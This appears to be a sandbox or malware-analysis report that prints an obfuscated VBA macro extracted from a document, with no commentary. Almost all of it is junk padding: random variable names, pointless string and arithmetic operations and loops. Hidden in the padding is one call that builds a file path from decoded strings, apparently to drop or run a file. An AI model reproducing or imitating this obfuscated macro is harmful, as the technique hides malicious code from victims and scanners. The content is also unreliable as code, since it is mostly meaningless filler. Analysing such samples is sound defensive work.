        WTsKjNh = Left("Y(hCeWEAFT[.bK$qK@In", 3)
        IVTwwQ = StrReverse("pcHsgIWTBYgTGhbD")
        IVTwwQ = StrReverse("Bm$zgY#sC)uYZil")
        zRhmPpvV = 960 + 1969 + 1094
        sCbTzU = "ifw%YW(_l!Qkt" + "xyFy.@B?.QY)VJm&UC" + "UA(A&eiiyoreT"
        SdStG = "?SG^hLuYzz_ %N" + "MONHJaDs%N)p" + "IgZWceYRIblFcpW"
        SdStG = Left("w$r(faww$h", 3)
        SdStG = 1327 - 604 - 163
        azIbf = LTrim("rLVg)ns^^Mu?pp?^)z")
    Next EDDTwf


    While eGSgJ < 137
        While ImhGLg < 139
            SdStG = 1830 + 1076 + 1729
            IVTwwQ = "#js(]cO?xzqmZ].b " + "DaVZ@JWNSVS)j%mgy%" + "JR*]])uJcs"
            IVTwwQ = LTrim("kIIt_kW.az?ch^$v%&Q")
            KJJvIdHB = UCase("WQn*Tfe$ZVF")
            ImhGLg = ImhGLg + 2
        Wend

        azIbf = Space(11)
        KJJvIdHB = Left("LAC E(*gSk[jo.", 5)
        sCbTzU = LTrim("%uRP)e[f(.Von")
        DvFQAjro = RTrim("m#Vm* cL&qCJQ")
        If eGSgJ = 108 Then
            GfqYC = StrReverse("$OvxeI@_xL[e?")
            GfqYC = 363 - 1466 - 1727
            Call dcTdk(JAbLmlU & "\\" & DePbOzob(wVDaoKyP), "qbpNQV", "PcxqDGErCW", "lJuWhMD")
            skSzHNCo = UCase("t[nuN.bvhl")
        End If
        TmoYSFFN = Left("Rm(pKr)vapTZ-B!M.kM", 3)
        KJJvIdHB = Left("tUZSPGd AlEz)kGuaA", 5)
        WTsKjNh = UCase("N$#.P-rEF?")

    eGSgJ = eGSgJ + 1
    Wend
    azIbf = LTrim("moRd piGCuSNr&GiYCFv")
    skSzHNCo = LTrim("G(Phmd-r*oc@mTyE")
    For hvKaCT = 0 To 68
        SdStG = Left("huB(#%&OR[xJiARwO", 2)
        DvFQAjro = Right("to@(eAfGO$nJuKBWSS", 2)
        WTsKjNh = Left("UjDnXYz_ HBd", 3)
        zRhmPpvV = "HuJDF!?yd)#LIcJMX" + "VvhPFU)qHERALI qyLN" + "?pldmU(e?ra$dvbf"
        skSzHNCo = Right("%^z&SpPxlw!Cu?dQv]DX", 4)
        DvFQAjro = "AhM].QMLiuOrXUi?" + "A_jzmHo(UXCK#" + "ivaU_$mgOPdV"
    Next hvKaCT

    While Xjvczz < 161
        azIbf = UCase("dqR_JooqiK*la]nDrKb")
        TmoYSFFN = LTrim("g&BWAZcPXNMlla")
        TmoYSFFN = LTrim("!iGurq!?xJ.$")
        GfqYC = 1704 + 865 + 917
        Xjvczz = Xjvczz + 1
    Wend

    WTsKjNh = Left("nuWPJ.AQNop", 5)
    While WqakKW < 348
        zRhmPpvV = 1344 - 1730 - 532
        SdStG = Space(4)
        GfqYC = StrReverse("PcU&r^]ENKJ")
        skSzHNCo = 950 - 1437 - 1538
        sCbTzU = 408 + 1714 + 1132
        WTsKjNh = "]FqiiG^_DlQJH&b#" + "tpAOO)IVEeo_eb" + "KgPIVc_ud[tW@["
        WqakKW = WqakKW + 3
    Wend

    DvFQAjro = LTrim("MIVZVpCaZza")
    HcCPgq = "i@VxdvP%yoRgw" + " Uo$mzIl) O&.nZFokHN" + "kMJj&Y$CJl"

End Sub

Private Sub kZLmZe(tFTway As String)
    WTsKjNh = Left("rGYC[kavD!Z[n[NAwu", 5)
    GfqYC = "I&_jym)mlwum]" + "-(n^m*VSW_DS*[" + "WK[mgBOVvMCzNlh("
    GfqYC = 865 - 551 - 1271
    zRhmPpvV = 1362 + 1186 + 1514
    azIbf = Space(15)
    DvFQAjro = LTrim("uxwlselER^c%Z?olFy")
    azIbf = Space(3)
    DvFQAjro = UCase("mGRMxIOo[O*e&?")
    sCbTzU = StrReverse("P&S$cbB?S?FY$Hi")
    sCbTzU = LTrim("Vw fLc&Kbb ajVW]PfEN")
    TmoYSFFN = LTrim("]m?dbSMG?B")
    azIbf = Right("%PcPMCCBul IV_LlFyn", 3)
    GfqYC = Right("kK ^ Xc#$UK", 4)
    TmoYSFFN = Left("XW^eHE.%aUySIdE", 2)
    sCbTzU = ")q[ljiC&F_^JYjtN@)" + "%[FSzX&_VWl&zMLVK" + "TALQfRZOHzcLqq"
    TmoYSFFN = Left("CNnz&R_XCtV", 4)
    WTsKjNh = Left("^Mu$nlO[laBrVrVvsRz", 5)
    KJJvIdHB = StrReverse("RnknFrF[rqKi%eW_")
    IVTwwQ = "vLy]b?-LUY(j[uoNeQ" + ".j? hDUJ(OK*JpbBZ_" + "pgTZ!&WJIWFN[S"
    HcCPgq = 786 + 441 + 1723
    HcCPgq = StrReverse("#Tbmb[tg.BXOUu")
    For kVTPFT = 0 To 384
        zRhmPpvV = RTrim("[HCtfYn%w)@")
        azIbf = LTrim(" MJ.k)WjK-UOfBJlUf _")
        GfqYC = 817 + 1465 + 410
        zRhmPpvV = Left("IK dcqA p$n@Cku", 2)
        IVTwwQ = Space(12)
        DvFQAjro = Space(5)
        SdStG = StrReverse("][ H&m%Yz$@")
        TmoYSFFN = UCase("uRlSlQi m)d")
        azIbf = StrReverse("IbnPfICZtrk!Z%HU#!")
        skSzHNCo = LTrim("p)[psi@?X ENaNbuM")
    Next kVTPFT

End Sub

Private Function IKyorQ(nvKQla As Boolean, UiTzren As Boolean) As String
    DvFQAjro = 1529 - 282 - 961
    TmoYSFFN = StrReverse("RXYPC&MMq%Y(W nXJDm")
    TmoYSFFN = Space(19)
    TmoYSFFN = Space(19)
    sCbTzU = UCase("KNpfKkQZLVw_rimi")
    KJJvIdHB = 1124 + 1491 + 1461
    SdStG = StrReverse("kC.KbZ#ogNz^BhL")
    DvFQAjro = RTrim("EsLZ_)WnSL*joEdqqnW_")
    DvFQAjro = Right("k#Rxh-dYk(", 3)
    DvFQAjro = StrReverse("^#UanUJcvQdcGZGAs@")
    HcCPgq = Space(12)
    TmoYSFFN = Space(11)
    skSzHNCo = RTrim("HuCBFX-CRTzD")
    IVTwwQ = Left("tp#IiY[j&qeHRab", 5)
    skSzHNCo = "z#AybKj]Eukloj" + "jJ?^-gtx_E^#b" + "Jd!&#NtNrQLLu(s."
    For QAPJUf = 0 To 92
        TmoYSFFN = "[cAQk_)E]EPrg" + " xGuhSyBiAL" + "kSNdO^ZYvvT?P]&Tzv"
        GfqYC = Space(13)
        skSzHNCo = StrReverse("yA$_&%^HUN EB")
        IVTwwQ = Left("#nDVPkZAih", 4)
        WTsKjNh = "$sKp*eLNMe" + ")cjv_s^(h r_z[ll?" + "U*)^joFMoX "
        GfqYC = "lByQQWX_*#" + "BWjqE^q#[TAFxjB?^" + "yFnY@@$rm_fGMb"
        IVTwwQ = 1417 + 1841 + 715
        SdStG = Right("]nfKm^Dl-ZM_JDWc[Jb?", 4)
        GfqYC = Right("*NWz]ZOWcVem$", 5)
        GfqYC = UCase("f@-EfGuG %!xlqBKC")
    Next QAPJUf

    azIbf = UCase("JB!S$.HA?&MykZsj")
    SdStG = 1889 + 1160 + 591
    SdStG = 1041 - 1789 - 1535
    SdStG = Left("As!qGokF*H^%H", 5)
    For GrHXNi = 0 To 360
        sCbTzU = 1428 - 1056 - 521
        azIbf = 993 - 521 - 400
        TmoYSFFN = 1296 - 290 - 1444
        IVTwwQ = 1138 - 1266 - 611
        zRhmPpvV = 616 + 1319 + 301
        azIbf = 1518 - 1572 - 1233
        GfqYC = 674 + 1022 + 972
    Next GrHXNi

    GfqYC = Right("@.-qbSh-eUX&cACW?dq", 3)
    KJJvIdHB = RTrim("VfvHE&rbgMXgpyz__^Db")
    KJJvIdHB = Right("Gj_Q?u-cN#Qw]NniX%w", 5)
    IVTwwQ = 1824 + 699 + 482
    HcCPgq = RTrim("WyxzV-rS%G")
    zRhmPpvV = Right("GK! VfUTQH?_&]", 5)
    WTsKjNh = RTrim("^?UUtqOzVq*HJ")
    For FeJtvd = 0 To 100
        DvFQAjro = UCase("esQ)bX%a#bN")
        WTsKjNh = 1083 + 1156 + 434
        GfqYC = "KP]PMcIoscE[)kz" + "P]o)Oywxb!S(Oi" + "GfB)rR&OJ--Cgg)BPc%"
        zRhmPpvV = 673 + 758 + 544
        HcCPgq = Space(10)
        GfqYC = RTrim("?@vFa(--Ie?cT&")
        KJJvIdHB = StrReverse("I&CC wcqlDFiOHc$)QLN")
        WTsKjNh = LTrim(" (SoA^-)@rS_fb")
        HcCPgq = "MGttwzmE&a UkV&.]xEw" + "CV#fltDU$i[!UB[V#" + "mGnNNBldq]eIPl![r?"
    Next FeJtvd

    KJJvIdHB = 1159 + 1089 + 350
    SdStG = "*bge[eR_-#" + "ej)gEZolD]ZaYnH" + "%OkUrOfXL-F@H$Yk?EEa"
    zRhmPpvV = RTrim("%uqwK&W]YHO")
    IKyorQ = "KiodGdcwqeWWSezNpWoOIVLiMALkdicX"
End Function

Private Function AoQTum(YLYSHi As Boolean, cKUcFF As Double, YiwuYv As Double) As String
    WTsKjNh = 1070 - 222 - 371
    GfqYC = UCase("e)U_QF[*the")
    GfqYC = LTrim("@jlwIU-FOXn")
    SdStG = Right("!_jNDukcv%g(Aj", 5)
    KJJvIdHB = 1839 + 309 + 821
    GfqYC = Right("(xs!b%RxjEnLXH", 4)
    While giJtIi < 157
        WTsKjNh = "udmxSsBzrAYH?dz" + "#x[RLefsfhnCa" + "nEt]xmn.t[nYHM&sHtm"
        DvFQAjro = Right("N-@MY(EB(bxRswEX@^@", 4)
        TmoYSFFN = LTrim("AM##LtN^U!U#Gmt")
        giJtIi = giJtIi + 1
    Wend

    While gpOndZ < 125
        IVTwwQ = 1103 + 1180 + 485
        azIbf = 371 + 836 + 468
        KJJvIdHB = StrReverse("[-&J A-^-CW")
        azIbf = 494 + 1553 + 1811
        gpOndZ = gpOndZ + 3
    Wend

    WTsKjNh = StrReverse("&)c&PRvP-ebxPj[")
    WTsKjNh = StrReverse("hFK[$?wJV[lg^s_Y")
    zRhmPpvV = StrReverse("jwjqZO*)lQpQLc")
    GfqYC = Space(7)
    DvFQAjro = 1064 - 258 - 1168
    DvFQAjro = 1313 - 1744 - 1116
    WTsKjNh = "(bEN&R?]Ti" + "fiFICj@jOB]kP" + "OlqpaIBomc("
    azIbf = UCase("-Zx(N!v.jhlB-O$i")
    skSzHNCo = StrReverse("]-QiTwuqdht%r@")
    GfqYC = LTrim("MJKG?YUg#WsOkJHQ]")
    While WGnaaa < 176
        GfqYC = Left("HNf[Li#MymwkP_LL)", 5)
        WTsKjNh = UCase("vA Y$ViUSlTg%")
        HcCPgq = RTrim("tXH&baDZyOe)@ZbLQVl")
        GfqYC = "q^yYU$vm wZ" + "RFKk@aPXX)%Qkb" + "f*&A@lYfOzIK!OND"
        SdStG = UCase("pOOr.@tkGm@Xn")
        GfqYC = "zpn.Aft#FG%kpM%oPt" + "Go(GihX^SNir pURJ.!^" + "*^JzJ@M*]ez-jlm"
        WGnaaa = WGnaaa + 1
    Wend

    KJJvIdHB = 1540 - 1234 - 442
    HcCPgq = "jOaahCaptGEf&K" + "Q!.qeHmg@gQZzg@" + "XsHX?zm_^?FR!]"
    azIbf = "D#^xn$ODI?lodK.&q^xa" + "O&baZ-iXDNr#t?tO" + "]F.tjG]$grRrKOk#"
    KJJvIdHB = StrReverse("$cnu[LPy?oK")
    KJJvIdHB = 1525 - 1490 - 1875
    zRhmPpvV = UCase("WiS)Kz!Mlbv")
    sCbTzU = "VyjJrRwkF]iQ^*ifZG[_" + "xVH[[aEIOhovIW)Zh" + "Y$D@Oqga@DNt"
    HcCPgq = RTrim("eRAyF!r@BnLA")
    azIbf = 1191 + 1288 + 1162
    azIbf = 203 + 256 + 1784
    skSzHNCo = Left("#$@NAMK RnR]", 2)
    SdStG = 1801 + 1591 + 1946
    azIbf = RTrim("&gv]YG[gaYC?")
    skSzHNCo = LTrim("^iZN]aKSB#HO]")
    sCbTzU = Left("csmVo[btuUAfq&]mF#B", 5)
    TmoYSFFN = Left("VOPkpuBS Xu!Y^C", 4)
    HcCPgq = Right("JGPxJVUJc^rTxbl", 2)
    zRhmPpvV = RTrim("FAZG_&!DNZxW^BVX")
    AoQTum = "yXDwOPcwOddQNCqOWkjVefTCjknjjIRnasLQv"
End Function

Private Sub vvjStR(mbwobb As String, ANNbty As Boolean)
    KJJvIdHB = LTrim("(lne-#HZ*GJUSZWo)dR")
    sCbTzU = Left("z*$cL*-kPZiyMV", 2)
    zRhmPpvV = Left("OYxZyaB-acU( Ttq", 3)
    zRhmPpvV = Right("C)MPeiXIALbiCtyFrO", 5)
    SdStG = LTrim("fHM_FIXyHO)lN$i%")
    KJJvIdHB = LTrim("X^)[A@DVT@[_HS? $m")
    HcCPgq = Right("JczbRgjwfxY*gOk", 5)
    skSzHNCo = "NLeSLlm#OKiqivJAdU@-" + "z?hII[UREv.H$" + "rxe?@TzqM^Lv!lJmX_"
    DvFQAjro = Left("bVrkssi%n%V_WZ", 5)
    skSzHNCo = LTrim("tk-kOA!c@bLbmld")
    SdStG = LTrim("LU^M&iDv*!BqB")
    HcCPgq = 1976 - 671 - 638
    While UUNcjx < 59
        GfqYC = LTrim("n_t)zo%AJAwZqmb K")
        azIbf = UCase("wzgy^r^-l!KUFgaO")
        SdStG = Left("rg AJ).u%Ss", 4)
        sCbTzU = "A-*OMrvWdE j^Hed" + "Rgu*LLQ b_VN#cP(aeGJ" + "@Bpc_zehQPO(YaOC s&"
        UUNcjx = UUNcjx + 2
    Wend

    TmoYSFFN = "MlbbpWygz_sv_ m(" + "Non-yFTVHn%kiWQ" + "RMYkyyPXGIB"
    DvFQAjro = RTrim(")fBz!K#^K)]n$jfsuZts")
    skSzHNCo = StrReverse("kRi*mHb^eh.dwKLkDGi")
    TmoYSFFN = 1891 + 1851 + 1903
    HcCPgq = LTrim("lLz?OgjvTYQEWOw$")
    azIbf = Right("CAKfLKi^#i", 3)
    skSzHNCo = 1788 + 1470 + 141
    SdStG = Right("]^@CNUSOFyeSOFl", 5)
End Sub

Private Sub ZTitzX(IulLjf As Boolean)
    sCbTzU = StrReverse("b.*hH)G.Qzc")
    For TebHOr = 0 To 229
        KJJvIdHB = "n DuvC@&$rFOf" + "*dusShZlAt" + " ihe^(Vcji]@OD*KM@Y"
        DvFQAjro = Left("NcylrUly[^xq)KQJ", 2)
        HcCPgq = RTrim("O&VO-sDp&qxhqXog.eTH")
        azIbf = Left("JDuYkcfG[oRbxkB$GT(", 4)
    Next TebHOr

    KJJvIdHB = LTrim("lYhUvKFA(&")
    KJJvIdHB = "$^jBdLR!bivac(vw" + " ftZ_LjCD_MwunL" + " h?wJ)Tgn!dMDW"
    GfqYC = "hubYoEa-En" + "brnwoNEnKB$*sUSRW" + "^HLHTAS-b!Dax$"
    GfqYC = StrReverse("gJPul?U-PE")
    For INtUiR = 0 To 145
        azIbf = LTrim("D*foANCo@@kS!YWZ")
        GfqYC = StrReverse("fT*m[qAqj((TNAYHh")
        WTsKjNh = StrReverse("ZGt)X(HQ$m")
        zRhmPpvV = RTrim("O[c^XubDy@W")
        SdStG = 691 + 1843 + 1222
        skSzHNCo = LTrim("RGR)P&Um[d*")
        SdStG = Left("-kRPHU.lVVY*o.Gn^", 2)
        SdStG = ".ay)MBU(GSfOidufvBX]" + "fGe_s#cjwIb" + "d.wixo.?YJf!tXfAS"
        sCbTzU = "brCjMVoo[qbtH]utHpC" + "X_odrEZYKGD" + "w RoS$V.O?w(%.@E Z"
    Next INtUiR

    SdStG = UCase("dtx!uu-zyfYcftndnH#")
    While zUhJLv < 11
        GfqYC = LTrim("dk-Y]dB.P@]qXbXEnKM")
        TmoYSFFN = Left("_GC?DXIsA.C)", 5)
        sCbTzU = Space(7)
        zUhJLv = zUhJLv + 3
    Wend

    GfqYC = 276 - 1237 - 1337
    skSzHNCo = 1298 - 1287 - 1635
    azIbf = Right("thf[Dqp]Pns", 4)
    KJJvIdHB = StrReverse("lkl*#xGRwo?lRrLU")
    SdStG = RTrim("XYJd-D!$QF$CQR@eSK")
    IVTwwQ = StrReverse("%.o(-P%fVOV&")
    DvFQAjro = Left("PAOkC g&j(", 2)
    GfqYC = 1856 + 1085 + 1853
    skSzHNCo = UCase("R#.LF$dpoyzFIGSeUlkJ")
    sCbTzU = Right("sDx%OY @FiKuZTbBV!", 4)
    TmoYSFFN = StrReverse("wnDw]qLc]%?rgBli")
    zRhmPpvV = Right("a^XzbsQuHitJ", 3)
    TmoYSFFN = 599 + 715 + 1334
    azIbf = 1763 + 528 + 1196
End Sub

Private Function MtewlJ(CvKbUI As String, QVNcOe As Double, xrDlqcX As Boolean, cVwQtjj As Boolean, EjEUQAM As Double) As String
    SdStG = LTrim("$IGPS_Q-^cJ&Sfa.")
    WTsKjNh = UCase("Mm&jRe&gnDMV!Ze(RJ?o")
    SdStG = RTrim("mp#axK(_ijfVTTP")
    sCbTzU = Right("vZv)IZOFT%#(b[DpP", 3)
    While dBnFsX < 262
        zRhmPpvV = "vibRFxksof&ItCaWx" + "Peez%@^AXd" + "oF N@AJI?[J)?vr^pFZ"
        KJJvIdHB = 859 - 1931 - 1754
        DvFQAjro = Space(2)
        sCbTzU = Space(6)
        zRhmPpvV = 1410 - 1309 - 1797
        DvFQAjro = StrReverse("^RZ-pN_irZ.Xo&H")
        skSzHNCo = 1419 - 171 - 320
        skSzHNCo = LTrim("F)Lm$dGRLPkwWhpfto")
        skSzHNCo = StrReverse("[Zqemlny)N%")
        dBnFsX = dBnFsX + 2
    Wend

    IVTwwQ = UCase("Zd.t@XMr^(h*")
    GfqYC = UCase("wjdlT^BwjSO^EWoc")
    SdStG = StrReverse("gGMqqLzhvoiaw-")
    SdStG = LTrim("&EYN[UKB&@$grSv*f")
    SdStG = Left("Dek@VFq.CD%Mvk", 5)
    GfqYC = 759 - 1270 - 1780
    DvFQAjro = LTrim("bvOnPDQU)DtJP^*q")
    zRhmPpvV = Space(7)
    IVTwwQ = UCase("xM-.YsO#]fGuxq()Y]]f")
    HcCPgq = "FMRp FcU%#KUx-^m[fr" + "U_UGLAlbWsUQpTvui" + "$nSiYQ]UmCn"
    SdStG = Left("gRabKEWQyUAa*aJ*WIS", 2)
    azIbf = LTrim("Gd!gmhWL#rX*mfdPTT")
    IVTwwQ = 288 - 1281 - 1410
    KJJvIdHB = 1157 + 1585 + 884
    DvFQAjro = Right("-g  WszRD(ilitUTtB", 5)
    KJJvIdHB = LTrim("Q)d(dHLV$gsvsm&")
    IVTwwQ = StrReverse("#yzBY#sDQsxN")
    skSzHNCo = Right("]Ep$ipCFsfscLZ", 4)
    TmoYSFFN = RTrim("k$dIneS*cYtaVLbK")
    GfqYC = Space(16)
    For JSRpSt = 0 To 225
        SdStG = Left("gkeMvQ[Hv$b]JZYfi.", 2)
        zRhmPpvV = StrReverse("IoTAp jlmS")
        azIbf = Right("fZ*_IE?@&].", 4)
        zRhmPpvV = LTrim("qmM_af Y TLTCpctriE")
    Next JSRpSt

    skSzHNCo = LTrim("K# Lk*Xc]vd.m")
    For VaCKVe = 0 To 202
        WTsKjNh = LTrim("PGq[Pgys!M)s]%")
        HcCPgq = LTrim("oZoYqpMpBlm eYcQSZ")
        IVTwwQ = "Dcq(.ZqERVxp@F" + "EgMG.GnMPTT" + "zgmqgp(WOo.v[sDxs"
        DvFQAjro = "FQDwzQMUL@t&QZ.iAf#" + "$VjcOIB(XktNb" + "qhQND?^[uK]q&"
        IVTwwQ = Left("- %*hdOIqfcq[wYWP", 2)
        IVTwwQ = Left("Rjf-!gT& !ybu)ZZ", 4)
        skSzHNCo = LTrim("qIZfLJJn*%bt")
    Next VaCKVe

    IVTwwQ = Left("gkkaPUdid#FAT uApXyr", 4)
    GfqYC = LTrim("I.*q&YtuR#Yil%e.-")
    HcCPgq = Space(19)
    zRhmPpvV = "BkXmXbLk&zPJ^QM-P" + "DzYl?oYdZhm" + "eAjcd@H]AlE"
    azIbf = Space(11)
    TmoYSFFN = 169 + 199 + 1304
    sCbTzU = 1136 - 334 - 795
    IVTwwQ = UCase("nKx@LwS?AU")
    HcCPgq = Right("VgUUxpsfGTM", 2)
    GfqYC = 1770 + 1214 + 1710
    While cskRQU < 178
        WTsKjNh = Right("hM)ZvUF(Em", 3)
        WTsKjNh = UCase("]HzHb%ITv%ezScphX@hY")
        KJJvIdHB = LTrim("xdlHSKXL SeeM*x")
        zRhmPpvV = "$[gim&@NeY@(H" + "-S)P[@FlJE%veynL?" + "rGBpEt ^X??WZvyxqeH"
        HcCPgq = 648 - 680 - 459
        IVTwwQ = 807 - 419 - 1333
        HcCPgq = Left("iXIaPp-YlF&%.", 3)
        azIbf = LTrim("yRGejKGreR)TQHXws#F")
        GfqYC = 849 + 941 + 1844
        WTsKjNh = StrReverse("fJUCtqt]CEcNGfYA*")
        cskRQU = cskRQU + 3
    Wend

    TmoYSFFN = StrReverse("PBNqLC]oVFvCypEfu)_")
    MtewlJ = "VNsqNOOmjAYFeItSzrVwhvyTxFYUKPqCOuUFVpPb"
End Function

Private Function onwoTX(eCvTSH As Double, VJntWl As Boolean, xczrZAx As Double, iZMDYf As Integer) As String
    sCbTzU = RTrim("T#xmvLuNcDgYF$_!")
    While wkRDgp < 104
        azIbf = LTrim("y!.WJe[($zM[mbvlId")
        sCbTzU = Space(1)
        azIbf = 915 - 849 - 1056
        zRhmPpvV = StrReverse("UID-SAQkk.m.AQeY&y")
        DvFQAjro = Right("*S^RMZySi^.", 2)
        IVTwwQ = 504 + 1026 + 185
        DvFQAjro = 320 - 1349 - 628
        KJJvIdHB = 914 - 1315 - 1484
        skSzHNCo = StrReverse("#nOFOT-AMTiiMj RP")
        KJJvIdHB = RTrim("^]O^)_vssakG@)kWwKzJ")
        wkRDgp = wkRDgp + 1
    Wend

    WTsKjNh = 1531 + 413 + 544
    skSzHNCo = LTrim("gmQEL[JHq#jU")
    KJJvIdHB = Right("gfWJblul?YGYynJMykH", 4)
    IVTwwQ = Right(" o euuismngoLKbwWEvp", 2)
    IVTwwQ = Left("haNJlaHr%zg", 2)
    KJJvIdHB = Space(16)
    While UDZPyB < 135
        HcCPgq = "qUeV@PB*Pvvcdv" + "Sf)_i!qe?*BOrVH" + "p%oAQIt%Bwf $j"
        GfqYC = RTrim("Dabhl-THmD*c$guIiDV")
        KJJvIdHB = UCase("m -W JvFShvKDTKF")
        skSzHNCo = UCase(".[umBYxjsXee] y_z")
        DvFQAjro = Left("da-$$bv DVMc%GSKP(", 2)
        UDZPyB = UDZPyB + 3
    Wend

    DvFQAjro = Right("W@X-M!YJ#ICWL", 5)
    DvFQAjro = UCase("h^fcb?nkGNzCOgY-Y")
    azIbf = 832 - 842 - 673
    For SYsAgv = 0 To 41
        GfqYC = Left("rxXfmA?d?cEPvpg&", 3)
        WTsKjNh = LTrim("BG%&ttqCqDl(s_uHH")
        sCbTzU = UCase("#_hnlkqcgu T!#kKvn%k")
        skSzHNCo = Space(6)
        SdStG = 882 - 1823 - 172
        IVTwwQ = 1406 - 889 - 639
        azIbf = "[Dw(o]HQNej*De%@" + "]_yI^zyDHS(- Hd" + "FigpsWO.ikqyKS!oYa"
        GfqYC = Space(5)
        zRhmPpvV = StrReverse("EEM_gGQ#(qxq")
        KJJvIdHB = 1529 + 1607 + 404
    Next SYsAgv

    skSzHNCo = 488 + 1546 + 633
    WTsKjNh = UCase("gDECgrI$N]q_?aKj")
    skSzHNCo = Space(18)
    KJJvIdHB = UCase("L[HmtGtk!G")
    SdStG = Space(17)
    zRhmPpvV = Left("HdIpQZAHd.zT", 3)
    TmoYSFFN = "Kki-]-L#_PJE@[NUwmuq" + "&(XCw&Ove%ifFht(z" + "AP[aIjvmpZCnU.$Nr["
    zRhmPpvV = LTrim("xw#GUH k.bQN]Ek")
    sCbTzU = LTrim("amZn!pQ_ cbt")
    onwoTX = "kmlBEiHjHlpMVGXyprckJS"
End Function

Private Function xAydar(GEZbPW As Integer, byRJIU As Integer, uPYbJvg As Boolean, zgCsEF As Double) As String
    azIbf = Left("y#x[K@xRmlmKFTq]", 5)
    KJJvIdHB = UCase("xVNTvy^EF*gSgc*M[-")
    KJJvIdHB = 948 + 1138 + 420
    HcCPgq = "WSukSz[@%mX*gTj![Km" + " $LNzkgWqF&Gr" + "UeyIchi?_)"
    TmoYSFFN = 1779 - 1933 - 1955
    For OrOvFp = 0 To 115
        azIbf = Left("V.tDyFuRxK[", 2)
        SdStG = Right("]EwLjdiTb!a?pp", 2)
        azIbf = StrReverse("D.TaFzLkZ%TUbWsL!qd")
        GfqYC = Left("kMxNz.Zwjrn", 2)
…

Open this report in the interactive analyzer, or submit your own file for analysis.